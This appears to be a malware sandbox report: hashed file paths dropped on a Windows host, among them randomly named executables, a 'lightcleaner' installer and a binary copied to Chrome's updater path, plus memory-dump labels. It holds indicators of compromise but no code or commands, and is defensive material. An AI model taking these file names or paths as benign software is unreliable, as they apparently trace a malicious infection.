C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe

MD5 7af78ecfa55e8aeb8b699076266f7bcf
SHA1 432c9deb88d92ae86c55de81af26527d7d1af673
SHA256 f7284ade2ca0aeb432cf1fdae5ab0c724f81d10b914f6d4c2c15ef0f60ff316e
SHA512 3c0ae6b6e4a896da52faff4fb2e958abb2856330cbba6ff4b7a59e7512475e1739cccf2cfda7dde492f381d3225263bc77e3154983e86933fa074696e92a059e

C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe

MD5 006ad74c21256de16ed0f79f760dc2da
SHA1 03372373476c4ffad5a4016950e5834451872c3f
SHA256 c4410af6b21ec0894ede95baaf3314f8260ab62051abe107b83b5c3d091e97f4
SHA512 c7184ab98553159d9b05ef3a3ec5a3036159683a7aed963193a77b17df900ba8fd7dedf85fa67525acc6bd3bdfc403f8622a8c3c6edcac38abb5c79f432e43df

memory/2152-195-0x0000000073CE0000-0x00000000743CE000-memory.dmp

\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe

MD5 006ad74c21256de16ed0f79f760dc2da
SHA1 03372373476c4ffad5a4016950e5834451872c3f
SHA256 c4410af6b21ec0894ede95baaf3314f8260ab62051abe107b83b5c3d091e97f4
SHA512 c7184ab98553159d9b05ef3a3ec5a3036159683a7aed963193a77b17df900ba8fd7dedf85fa67525acc6bd3bdfc403f8622a8c3c6edcac38abb5c79f432e43df

C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe

MD5 f1e756b85ee7ddbd40d3a4213956c693
SHA1 c728d9c975e8e2562210da21ca9a43f8a12c21aa
SHA256 786b943c54412ea1361cceb2cc72d380ff10acc1b604d72c2c791d7ad8b45957
SHA512 6288ab846cab77a4c50e284f89216daf2a348d9044d013970566efb6818d1d464e95f29a5f96d52e018d175c470cf1e6c1e0df3628c7a52014a8c8387dfa08f8

\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe

MD5 f1e756b85ee7ddbd40d3a4213956c693
SHA1 c728d9c975e8e2562210da21ca9a43f8a12c21aa
SHA256 786b943c54412ea1361cceb2cc72d380ff10acc1b604d72c2c791d7ad8b45957
SHA512 6288ab846cab77a4c50e284f89216daf2a348d9044d013970566efb6818d1d464e95f29a5f96d52e018d175c470cf1e6c1e0df3628c7a52014a8c8387dfa08f8

\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe

MD5 c772e158ddc5f7b0b1431d0b3c587f5f
SHA1 6ef178d30a23ec51e8db91dee6aaa117ec0ed6dc
SHA256 483944eead9e78ba325914fef37cca68a9c6902ebd4cab1677bc54754c8d30c8
SHA512 d1537c6112b7618e52c2a7ff74839a56e9480bd2db41b622957e04afd79c4fc5615d892f2f78859be9cf28482372209da07b705b8cbf968d62d28344e6434b06

memory/2020-257-0x000000000AF50000-0x000000000B49D000-memory.dmp

\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe

MD5 f1e756b85ee7ddbd40d3a4213956c693
SHA1 c728d9c975e8e2562210da21ca9a43f8a12c21aa
SHA256 786b943c54412ea1361cceb2cc72d380ff10acc1b604d72c2c791d7ad8b45957
SHA512 6288ab846cab77a4c50e284f89216daf2a348d9044d013970566efb6818d1d464e95f29a5f96d52e018d175c470cf1e6c1e0df3628c7a52014a8c8387dfa08f8

C:\Users\Admin\Pictures\HWOgswV20ZO4f9fQgX02PFNZ.exe

MD5 f1e756b85ee7ddbd40d3a4213956c693
SHA1 c728d9c975e8e2562210da21ca9a43f8a12c21aa
SHA256 786b943c54412ea1361cceb2cc72d380ff10acc1b604d72c2c791d7ad8b45957
SHA512 6288ab846cab77a4c50e284f89216daf2a348d9044d013970566efb6818d1d464e95f29a5f96d52e018d175c470cf1e6c1e0df3628c7a52014a8c8387dfa08f8

memory/2020-258-0x0000000073CE0000-0x00000000743CE000-memory.dmp

C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe

MD5 c772e158ddc5f7b0b1431d0b3c587f5f
SHA1 6ef178d30a23ec51e8db91dee6aaa117ec0ed6dc
SHA256 483944eead9e78ba325914fef37cca68a9c6902ebd4cab1677bc54754c8d30c8
SHA512 d1537c6112b7618e52c2a7ff74839a56e9480bd2db41b622957e04afd79c4fc5615d892f2f78859be9cf28482372209da07b705b8cbf968d62d28344e6434b06

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

C:\Users\Admin\Pictures\3T22wNmQ6PB9bclQj5SEopzL.exe

MD5 c772e158ddc5f7b0b1431d0b3c587f5f
SHA1 6ef178d30a23ec51e8db91dee6aaa117ec0ed6dc
SHA256 483944eead9e78ba325914fef37cca68a9c6902ebd4cab1677bc54754c8d30c8
SHA512 d1537c6112b7618e52c2a7ff74839a56e9480bd2db41b622957e04afd79c4fc5615d892f2f78859be9cf28482372209da07b705b8cbf968d62d28344e6434b06

\Users\Admin\AppData\Local\Temp\Opera_installer_2310042201515431436.dll

MD5 e23e7fc90656694198494310a901921a
SHA1 341540eaf106932d51a3ac56cb07eeb6924f5ebd
SHA256 bf1aa65c0b76c41f6c27c89a527720958505e5568a63a7530494fb89e8fdcf75
SHA512 d0a437dac1af3587bc85a075d2ec3cf6e6cc23cdb6f4adfe8e87502c39c91807e7833b42aca63a85c0d329de89e348f71700b0ba9fca37fdf167f8b8ec25cf2d

memory/1436-266-0x0000000000AA0000-0x0000000000FED000-memory.dmp

\Users\Admin\Pictures\BogA5kGU3ICihsDNfoXLSyen.exe

MD5 6e45986a505bed78232a8867b5860ea6
SHA1 51b142a7e60eecd73c3eaa143eadda4b7e64ac4c
SHA256 c957aa07aa1dd6d58aff2431b56b2139a0c2d5d6b34d20a978767e0daab58829
SHA512 d2d8bc6179795c1c255ec5ac16817f83ff97fcd90481dbe2325a351b448c48a83af03f22ff6dda0cb6ad2401c20b81d2871068aa9e32d2747cc2f5669b440fde

C:\Users\Admin\Pictures\BogA5kGU3ICihsDNfoXLSyen.exe

MD5 6e45986a505bed78232a8867b5860ea6
SHA1 51b142a7e60eecd73c3eaa143eadda4b7e64ac4c
SHA256 c957aa07aa1dd6d58aff2431b56b2139a0c2d5d6b34d20a978767e0daab58829
SHA512 d2d8bc6179795c1c255ec5ac16817f83ff97fcd90481dbe2325a351b448c48a83af03f22ff6dda0cb6ad2401c20b81d2871068aa9e32d2747cc2f5669b440fde

C:\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp

MD5 83827c13d95750c766e5bd293469a7f8
SHA1 d21b45e9c672d0f85b8b451ee0e824567bb23f91
SHA256 8bd7e6b4a6be9f3887ac6439e97d3d3c8aaa27211d02ecbd925ab1df39afe7ae
SHA512 cdbdd93fc637772b12bdedb59c4fb72a291da61e8c6b0061ad2f9448e8c949543f003646b1f5ce3e1e3aebc12de27409ddd76d3874b8f4f098163a1ff328b6f0

C:\Users\Admin\Pictures\BogA5kGU3ICihsDNfoXLSyen.exe

MD5 6e45986a505bed78232a8867b5860ea6
SHA1 51b142a7e60eecd73c3eaa143eadda4b7e64ac4c
SHA256 c957aa07aa1dd6d58aff2431b56b2139a0c2d5d6b34d20a978767e0daab58829
SHA512 d2d8bc6179795c1c255ec5ac16817f83ff97fcd90481dbe2325a351b448c48a83af03f22ff6dda0cb6ad2401c20b81d2871068aa9e32d2747cc2f5669b440fde

\Users\Admin\Pictures\BogA5kGU3ICihsDNfoXLSyen.exe

MD5 6e45986a505bed78232a8867b5860ea6
SHA1 51b142a7e60eecd73c3eaa143eadda4b7e64ac4c
SHA256 c957aa07aa1dd6d58aff2431b56b2139a0c2d5d6b34d20a978767e0daab58829
SHA512 d2d8bc6179795c1c255ec5ac16817f83ff97fcd90481dbe2325a351b448c48a83af03f22ff6dda0cb6ad2401c20b81d2871068aa9e32d2747cc2f5669b440fde

memory/2340-279-0x00000000FF580000-0x00000000FF66C000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-CVASD.tmp\6LwssugS7iCHIRL9VEw7xuVB.tmp

MD5 83827c13d95750c766e5bd293469a7f8
SHA1 d21b45e9c672d0f85b8b451ee0e824567bb23f91
SHA256 8bd7e6b4a6be9f3887ac6439e97d3d3c8aaa27211d02ecbd925ab1df39afe7ae
SHA512 cdbdd93fc637772b12bdedb59c4fb72a291da61e8c6b0061ad2f9448e8c949543f003646b1f5ce3e1e3aebc12de27409ddd76d3874b8f4f098163a1ff328b6f0

memory/2036-294-0x0000000000400000-0x000000000046A000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\_isetup\_shfoldr.dll

MD5 92dc6ef532fbb4a5c3201469a5b5eb63
SHA1 3e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA512 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

memory/2392-295-0x0000000000250000-0x0000000000251000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\_isetup\_shfoldr.dll

MD5 92dc6ef532fbb4a5c3201469a5b5eb63
SHA1 3e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA512 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\idp.dll

MD5 8f995688085bced38ba7795f60a5e1d3
SHA1 5b1ad67a149c05c50d6e388527af5c8a0af4343a
SHA256 203d7b61eac96de865ab3b586160e72c78d93ab5532b13d50ef27174126fd006
SHA512 043d41947ab69fc9297dcb5ad238acc2c35250d1172869945ed1a56894c10f93855f0210cbca41ceee9efb55fd56a35a4ec03c77e252409edc64bfb5fb821c35

memory/340-296-0x0000000073CE0000-0x00000000743CE000-memory.dmp

memory/2036-297-0x0000000000400000-0x000000000046A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\864526563203

MD5 17e95dd403fd5a9eb20766a857606504
SHA1 2003eda8ce343da91a3ccee69ff9515deeae17f3
SHA256 26b75fb1db51f252173ec88db9d9d8ff39db806a85652b8c70dd20b96c095179
SHA512 7475d645f8ce0dafd014ce39ae8d12cc0d42329961228c45591e4d2f7df80cfde15ccde5b5e459767d066ca602e29a544d1e80f3e457f46573e8b8884b4c3923

memory/340-303-0x00000000059D0000-0x0000000005A10000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 75bd6976eed369947402f4a1a007196c
SHA1 96d10836e711b7cd4011e8498762bfaea336639e
SHA256 91065d093d3028174f77bfdba660f3b8d1b256af71b3245deaea386511e1990b
SHA512 654330cd55e2f6038738330d3e15fcf35c811026cdc174753012504497d1fd55bc13b7e0ef985ce643e0df0afdfd9db6524c4a0cd95702052092b79e6829daf1

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 5b6f048db7206f48ffd90e3e94419d58
SHA1 68703bf7572ed417cb07971289faab11467b17ca
SHA256 8c03e7c193ba7b821f9f18d6ad2257264681d13bc141e494a1c70f615c104c44
SHA512 676d8c403552f00f906f27d78b846423f8da7e35d078b610dd58be55113d7a133c17bf6911346bb970904642812c7cae524283aeac0851ee543a4f5cc0f8858f

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 a4d8503e5c969dd068201469ca35c3bc
SHA1 c36318ae571d990d1f10b51a54deb4b4c43c9bea
SHA256 2412cc3be288c81d33ac16462aa5950c01e94d5de8b4aa4d412240bf6ca3d732
SHA512 0fdb8c6b90dc92b0b9e823602b0ab023493244352760e95d5e8ebe38b25cf8a52a603da44a829b7051252ca50d0bb3f4c66ad634e0e594db2c0933697c8f438b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 67954ebaddfd51accb7c3323e2df804b
SHA1 8218ae98e5ef5aa18382d8fc0b1842debd9da2e7
SHA256 e62c3e3531abfa1e67984856e549122f17d30f6a87f0733723c30b973353d78c
SHA512 23d61349d68aa739b1a9fc34abd5ddecbfd2ac9a66eeeb9f1d7911685dec183152376dc2e5d04ad055e788b8ebe553a0c4db8f528b5d908d63580524159bd6dc

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 60fe01df86be2e5331b0cdbe86165686
SHA1 2a79f9713c3f192862ff80508062e64e8e0b29bd
SHA256 c08ccbc876cd5a7cdfa9670f9637da57f6a1282198a9bc71fc7d7247a6e5b7a8
SHA512 ef9f9a4dedcbfe339f4f3d07fb614645596c6f2b15608bdccdad492578b735f7cb075bdaa07178c764582ee345857ec4665f90342694e6a60786bb3d9b3a3d23

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 a8e1658f37402181b412350293254158
SHA1 ff29241408377652027ff051c7b387fc77370a71
SHA256 3683364728a98932781c25c88e68c87abdbcebeae4174df6062d00b43141b48a
SHA512 e0e5c3543378ada13dc1741bb307783bf4812d85ad12d66c0dd5c214d2847081141a09491e1d75f5916cc8ab402055d9eb84184e44a950475420a156f53ac69c

memory/340-378-0x00000000059D0000-0x0000000005A10000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\8758677____.exe

MD5 65e5ccda7c002e24eb090ad1c9602b0f
SHA1 2daf02ebb81660eb07cff159d9bdfd7f544c2c13
SHA256 a29e50e997346fe1b47d0c93aafc4d9e08642c199d8ec1ef79f6d09e1618c439
SHA512 c46f1eb108b79011f63ca7907e8536e78034d1be26510b9cf0ffd4b69d46adcd084467bfb1419e7e069cda27d5e61b65092d58bec7c44c4939058ab75482525e

C:\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\8758677____.exe

MD5 65e5ccda7c002e24eb090ad1c9602b0f
SHA1 2daf02ebb81660eb07cff159d9bdfd7f544c2c13
SHA256 a29e50e997346fe1b47d0c93aafc4d9e08642c199d8ec1ef79f6d09e1618c439
SHA512 c46f1eb108b79011f63ca7907e8536e78034d1be26510b9cf0ffd4b69d46adcd084467bfb1419e7e069cda27d5e61b65092d58bec7c44c4939058ab75482525e

C:\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\8758677____.exe

MD5 65e5ccda7c002e24eb090ad1c9602b0f
SHA1 2daf02ebb81660eb07cff159d9bdfd7f544c2c13
SHA256 a29e50e997346fe1b47d0c93aafc4d9e08642c199d8ec1ef79f6d09e1618c439
SHA512 c46f1eb108b79011f63ca7907e8536e78034d1be26510b9cf0ffd4b69d46adcd084467bfb1419e7e069cda27d5e61b65092d58bec7c44c4939058ab75482525e

memory/536-384-0x000000013F4A0000-0x000000013F9E3000-memory.dmp

memory/2232-386-0x0000000000BE0000-0x0000000000C64000-memory.dmp

memory/2232-387-0x0000000000260000-0x00000000002C2000-memory.dmp

memory/2232-390-0x000007FEF4F40000-0x000007FEF592C000-memory.dmp

memory/2340-391-0x0000000003010000-0x0000000003181000-memory.dmp

memory/2340-392-0x0000000003190000-0x00000000032C1000-memory.dmp

memory/2232-394-0x000000001A950000-0x000000001A9D0000-memory.dmp

memory/2232-393-0x00000000002C0000-0x000000000031E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d9ab327366992bb8250dff321c6bbabe
SHA1 503d59300f3f74e55559113effcc515b2c391fb2
SHA256 fdd3675342e4b9980895e8af2f24e7e6b622ee1a90c8309368a672db0f01d932
SHA512 f681913df6efc5ac204f47942c502c9ef6ff0d57b4c76dd60dcc8f7db25ba247bdcd907d40a32f112fdb10915ff57bfe26730fa08e11df1ad859d318fb432b14

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 9cbcba472adbbbbdad8cc4fde460939a
SHA1 645d2f54316ede6bfa797abc111aff6fa99748d3
SHA256 29b8f73d5bd19f459583c30df7e130ad3ef232867317e3db87cf66f7bacf830c
SHA512 22d05315e5599feebcae4d59e6c2b0c4218291f664c8badfa60c6144275c2d819f21d96f3d44c3e3f88912e1441b90bc4631153827ee4dae1d80c0a8581580ae

C:\Program Files\Java\SSCPXAYIRT\lightcleaner.exe

MD5 f8c7c7d63fe2d74fa007ace2598ff9cb
SHA1 23412ed810c3830ca9bab8cd25c61cf7d70d0b5a
SHA256 fd02825ce17effb7d70ca2e9907647128241610bb1dce11a70f6f1a19d052047
SHA512 0dfb9bcd6dd8ce3f561b885989ae4c2e78c33f110aa1bf48c4c42c467db672af422ebdbf2ef66fe6f2e21307c036fbfa885e58fc3c4fa1f9677139e818855258

memory/924-547-0x0000000000400000-0x0000000000414000-memory.dmp

memory/2392-549-0x0000000000400000-0x0000000000513000-memory.dmp

C:\Program Files\Java\SSCPXAYIRT\lightcleaner.exe

MD5 f8c7c7d63fe2d74fa007ace2598ff9cb
SHA1 23412ed810c3830ca9bab8cd25c61cf7d70d0b5a
SHA256 fd02825ce17effb7d70ca2e9907647128241610bb1dce11a70f6f1a19d052047
SHA512 0dfb9bcd6dd8ce3f561b885989ae4c2e78c33f110aa1bf48c4c42c467db672af422ebdbf2ef66fe6f2e21307c036fbfa885e58fc3c4fa1f9677139e818855258

\Users\Admin\Pictures\Opera_installer_2310042202026501436.dll

MD5 e23e7fc90656694198494310a901921a
SHA1 341540eaf106932d51a3ac56cb07eeb6924f5ebd
SHA256 bf1aa65c0b76c41f6c27c89a527720958505e5568a63a7530494fb89e8fdcf75
SHA512 d0a437dac1af3587bc85a075d2ec3cf6e6cc23cdb6f4adfe8e87502c39c91807e7833b42aca63a85c0d329de89e348f71700b0ba9fca37fdf167f8b8ec25cf2d

C:\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe

MD5 12b9ea8a702a9737e186f8057c5b4a3a
SHA1 4184e9decf6bbc584a822098249e905644c4def2
SHA256 0ede12df938accd1be25420696db2969815ca0a2cd22d0c68a3352faa88f1001
SHA512 f62f17cddde83b96e416a198abde4ece29f6e26bc95ee72f151ab05594859a1cf69afb918f4f1a0ef5d6a660b2d2cead419f9b396698512a8d32bb877ce50713

C:\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe.config

MD5 98d2687aec923f98c37f7cda8de0eb19
SHA1 f6dcfcdcfe570340ecdbbd9e2a61f3cb4f281ba7
SHA256 8a94163256a722ef8cc140bcd115a5b8f8725c04fe158b129d47be81cb693465
SHA512 95c7290d59749df8df495e04789c1793265e0f34e0d091df5c0d4aefe1af4c8ac1f5460f1f198fc28c4c8c900827b8f22e2851957bbaea5914ea962b3a1d0590

\Users\Admin\AppData\Local\Temp\is-PSOQT.tmp\lightcleaner.tmp

MD5 7bf46cc89fa0ea81ece9fc0eb9d38807
SHA1 803040acb0d2dda44091c23416586aaeeed04e4a
SHA256 31793ff8cdff66c5eb829ff1637d12b7afebd5fc95794946baccb6e96bf54649
SHA512 371c053ae2e4a0ab530b597c5cb9e07a35b9b391b79afa06b9c7bc3b4c172e8ffbd83aefd931c5eb39c9a4e8c991f74dfff94eb9014be5cb9af3edef7a335d41

C:\Users\Admin\AppData\Local\Temp\is-PSOQT.tmp\lightcleaner.tmp

MD5 7bf46cc89fa0ea81ece9fc0eb9d38807
SHA1 803040acb0d2dda44091c23416586aaeeed04e4a
SHA256 31793ff8cdff66c5eb829ff1637d12b7afebd5fc95794946baccb6e96bf54649
SHA512 371c053ae2e4a0ab530b597c5cb9e07a35b9b391b79afa06b9c7bc3b4c172e8ffbd83aefd931c5eb39c9a4e8c991f74dfff94eb9014be5cb9af3edef7a335d41

memory/2232-600-0x000007FEF4F40000-0x000007FEF592C000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-AS9V9.tmp\_isetup\_shfoldr.dll

MD5 92dc6ef532fbb4a5c3201469a5b5eb63
SHA1 3e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA512 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

C:\Users\Admin\AppData\Local\Temp\is-AS9V9.tmp\_isetup\_shfoldr.dll

MD5 92dc6ef532fbb4a5c3201469a5b5eb63
SHA1 3e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA512 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

memory/1656-601-0x0000000000240000-0x0000000000241000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-AS9V9.tmp\_isetup\_shfoldr.dll

MD5 92dc6ef532fbb4a5c3201469a5b5eb63
SHA1 3e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA512 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

memory/572-602-0x0000000001E60000-0x0000000001EA0000-memory.dmp

memory/2392-607-0x0000000000400000-0x0000000000513000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-PSOQT.tmp\lightcleaner.tmp

MD5 7bf46cc89fa0ea81ece9fc0eb9d38807
SHA1 803040acb0d2dda44091c23416586aaeeed04e4a
SHA256 31793ff8cdff66c5eb829ff1637d12b7afebd5fc95794946baccb6e96bf54649
SHA512 371c053ae2e4a0ab530b597c5cb9e07a35b9b391b79afa06b9c7bc3b4c172e8ffbd83aefd931c5eb39c9a4e8c991f74dfff94eb9014be5cb9af3edef7a335d41

memory/2036-612-0x0000000000400000-0x000000000046A000-memory.dmp

\Program Files (x86)\LightCleaner\LightCleaner.exe

MD5 b1c46e53e92ce5c1b673a60b2db081ac
SHA1 6ef5e9f1ee2f0a325c43c2d92447310097f9f5b3
SHA256 ef4b529c5f506bf8a58522aed1e5ae7ebfec2155130e90bd92f9403883046489
SHA512 a6708c915b68cabc62b8a356c91e1e4d8facd5b5c28050d39dd8c0486d0e84440d6f75b4bdd78c348d44138a1686b152f6042fdaae0f5d0fce3a31aa5b9b46a5

memory/1656-628-0x0000000000400000-0x00000000004BD000-memory.dmp

\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe

MD5 12b9ea8a702a9737e186f8057c5b4a3a
SHA1 4184e9decf6bbc584a822098249e905644c4def2
SHA256 0ede12df938accd1be25420696db2969815ca0a2cd22d0c68a3352faa88f1001
SHA512 f62f17cddde83b96e416a198abde4ece29f6e26bc95ee72f151ab05594859a1cf69afb918f4f1a0ef5d6a660b2d2cead419f9b396698512a8d32bb877ce50713

\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe

MD5 12b9ea8a702a9737e186f8057c5b4a3a
SHA1 4184e9decf6bbc584a822098249e905644c4def2
SHA256 0ede12df938accd1be25420696db2969815ca0a2cd22d0c68a3352faa88f1001
SHA512 f62f17cddde83b96e416a198abde4ece29f6e26bc95ee72f151ab05594859a1cf69afb918f4f1a0ef5d6a660b2d2cead419f9b396698512a8d32bb877ce50713

C:\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe

MD5 12b9ea8a702a9737e186f8057c5b4a3a
SHA1 4184e9decf6bbc584a822098249e905644c4def2
SHA256 0ede12df938accd1be25420696db2969815ca0a2cd22d0c68a3352faa88f1001
SHA512 f62f17cddde83b96e416a198abde4ece29f6e26bc95ee72f151ab05594859a1cf69afb918f4f1a0ef5d6a660b2d2cead419f9b396698512a8d32bb877ce50713

memory/340-633-0x00000000059D0000-0x0000000005A10000-memory.dmp

memory/924-634-0x0000000000400000-0x0000000000414000-memory.dmp

memory/572-632-0x000000006D0A0000-0x000000006D64B000-memory.dmp

\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe

MD5 12b9ea8a702a9737e186f8057c5b4a3a
SHA1 4184e9decf6bbc584a822098249e905644c4def2
SHA256 0ede12df938accd1be25420696db2969815ca0a2cd22d0c68a3352faa88f1001
SHA512 f62f17cddde83b96e416a198abde4ece29f6e26bc95ee72f151ab05594859a1cf69afb918f4f1a0ef5d6a660b2d2cead419f9b396698512a8d32bb877ce50713

memory/884-640-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

memory/884-641-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

memory/884-642-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

memory/536-643-0x000000013F4A0000-0x000000013F9E3000-memory.dmp

memory/884-644-0x00000000027D0000-0x0000000002850000-memory.dmp

memory/884-645-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

memory/1968-646-0x0000000002800000-0x0000000002801000-memory.dmp

memory/2340-648-0x0000000003190000-0x00000000032C1000-memory.dmp

memory/884-647-0x00000000027D0000-0x0000000002850000-memory.dmp

memory/884-649-0x00000000027D0000-0x0000000002850000-memory.dmp

memory/884-651-0x00000000027D0000-0x0000000002850000-memory.dmp

memory/884-652-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml

MD5 546d67a48ff2bf7682cea9fac07b942e
SHA1 a2cb3a9a97fd935b5e62d4c29b3e2c5ab7d5fc90
SHA256 eff7edc19e6c430aaeca7ea8a77251c74d1e9abb79b183a9ee1f58c2934b4b6a
SHA512 10d90edf31c0955bcec52219d854952fd38768bd97e8e50d32a1237bccaf1a5eb9f824da0f81a7812e0ce62c0464168dd0201d1c0eb61b9fe253fe7c89de05fe

C:\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe

MD5 7af78ecfa55e8aeb8b699076266f7bcf
SHA1 432c9deb88d92ae86c55de81af26527d7d1af673
SHA256 f7284ade2ca0aeb432cf1fdae5ab0c724f81d10b914f6d4c2c15ef0f60ff316e
SHA512 3c0ae6b6e4a896da52faff4fb2e958abb2856330cbba6ff4b7a59e7512475e1739cccf2cfda7dde492f381d3225263bc77e3154983e86933fa074696e92a059e

memory/536-657-0x000000013F4A0000-0x000000013F9E3000-memory.dmp

C:\Program Files\Google\Chrome\updater.exe

MD5 7af78ecfa55e8aeb8b699076266f7bcf
SHA1 432c9deb88d92ae86c55de81af26527d7d1af673
SHA256 f7284ade2ca0aeb432cf1fdae5ab0c724f81d10b914f6d4c2c15ef0f60ff316e
SHA512 3c0ae6b6e4a896da52faff4fb2e958abb2856330cbba6ff4b7a59e7512475e1739cccf2cfda7dde492f381d3225263bc77e3154983e86933fa074696e92a059e

memory/2844-672-0x0000000000700000-0x0000000000800000-memory.dmp

memory/2844-673-0x0000000000220000-0x000000000025E000-memory.dmp

memory/2844-674-0x0000000000400000-0x00000000005BF000-memory.dmp

memory/3016-675-0x0000000002750000-0x0000000002B48000-memory.dmp

memory/572-676-0x000000006D0A0000-0x000000006D64B000-memory.dmp

memory/572-677-0x0000000001E60000-0x0000000001EA0000-memory.dmp

memory/3016-678-0x0000000002B50000-0x000000000343B000-memory.dmp

memory/3016-679-0x0000000000400000-0x0000000000D68000-memory.dmp

memory/396-680-0x0000000000400000-0x0000000000D68000-memory.dmp

memory/396-681-0x0000000002790000-0x0000000002B88000-memory.dmp

memory/2844-682-0x0000000000400000-0x00000000005BF000-memory.dmp

memory/396-685-0x0000000000400000-0x0000000000D68000-memory.dmp

memory/3016-686-0x0000000000400000-0x0000000000D68000-memory.dmp

memory/608-691-0x00000000006C0000-0x00000000007C0000-memory.dmp

memory/608-692-0x0000000000230000-0x0000000000281000-memory.dmp

memory/608-694-0x0000000000400000-0x00000000005C7000-memory.dmp

memory/1884-696-0x0000000002360000-0x00000000027C4000-memory.dmp

memory/1796-745-0x0000000002670000-0x0000000002A68000-memory.dmp

memory/2692-744-0x0000000002800000-0x0000000002BF8000-memory.dmp

memory/2844-749-0x0000000000700000-0x0000000000800000-memory.dmp

